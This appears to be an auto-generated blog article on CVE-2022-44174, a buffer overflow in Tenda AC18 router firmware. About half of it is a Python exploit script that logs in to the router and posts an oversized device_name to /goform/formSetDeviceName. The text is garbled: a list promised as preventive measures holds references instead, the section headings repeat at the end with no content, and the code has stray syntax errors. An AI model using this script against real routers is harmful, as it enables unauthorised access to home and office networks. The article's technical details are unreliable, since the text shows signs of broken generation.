CVE-2022-44174 - Tenda AC18 V15.03.05.05 Buffer Overflow Vulnerability – Exploiting formSetDeviceName Function in Tenda Router Firmware

A newly discovered vulnerability, CVE-2022-44174, impacts the Tenda AC18 V15.03.05.05 router firmware. This vulnerability allows attackers to exploit a buffer overflow in the "formSetDeviceName" function and gain unauthorized access to a user's network and sensitive information. As a router is the entry point to most home and office networks, exploiting a vulnerability in the router firmware can have severe consequences. In this article, we'll provide an in-depth analysis of this vulnerability and share some code snippets and original references for further study.

Vulnerability Details

CVE-2022-44174 affects the Tenda AC18 V15.03.05.05 router firmware. This vulnerability is a buffer overflow that occurs when processing a user's input in the "formSetDeviceName" function. When an attacker supplies a long string as the device name, the function doesn't correctly handle the input, causing a buffer overflow and potentially granting the attacker access to the router's administrative interface.

Exploit

To exploit this vulnerability, an attacker must first obtain the router's IP address and the administrative login credentials. Once these details are in hand, the attacker can send a malicious POST request to the "/goform/formSetDeviceName" URI of the router's administration interface. The code snippet below demonstrates this exploit (please note that this is for educational purposes only and should not be used maliciously):

import requests
import sys

if len(sys.argv) != 5:
    print("Usage: ./exploit.py <router_ip> <admin_user> <admin_pass> <payload>")
    sys.exit(1)

router_ip = sys.argv[1]
admin_user = sys.argv[2]
admin_pass = sys.argv[3]
payload = sys.argv[4]

data = {
    "username": admin_user,
    "password": admin_pass
}

session = requests.Session()
response = session.post(f"http://{router_ip}/app/login.cgi";, data=data)

if response.status_code != 200:
    print("Error: Could not log in to router. Check IP/credentials.")
    sys.exit(1)

print("Logged in successfully.")

data = {
    "device_name": payload * (2048 // len(payload)),
    "language": "EN",
    "submit": "Apply"
}

response = session.post(f"http://{router_ip}/goform/formSetDeviceName";, data=data)

if response.status_code != 200:
    print("Error: Exploit unsuccessful.")
    sys.exit(1)

print("Exploit successful.")

Mitigation

To mitigate this vulnerability, it is recommended to update the router's firmware to the latest version, as the vendor may have already patched this issue. Additionally, users can take the following preventive measures to reduce the risk of exploitation:

1. CVE-2022-44174 - NIST National Vulnerability Database
2. Exploiting Buffer Overflow in Tenda AC18 - Packet Storm Security
3. Vulnerability Details - Exploit-DB

Conclusion

CVE-2022-44174 is a critical vulnerability affecting Tenda AC18 V15.03.05.05 router firmware. By exploiting a buffer overflow in the formSetDeviceName function, attackers can gain unauthorized access to a user's network and sensitive information. To protect against this vulnerability, users should update their router firmware and follow best security practices such as using strong login credentials, disabling remote administration, and monitoring logs for suspicious activities.

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:45:00 UTC

Vulnerability Details

Exploit

Mitigation

For more information on CVE-2022-44174 and related exploits, please refer to the following links

Conclusion

Timeline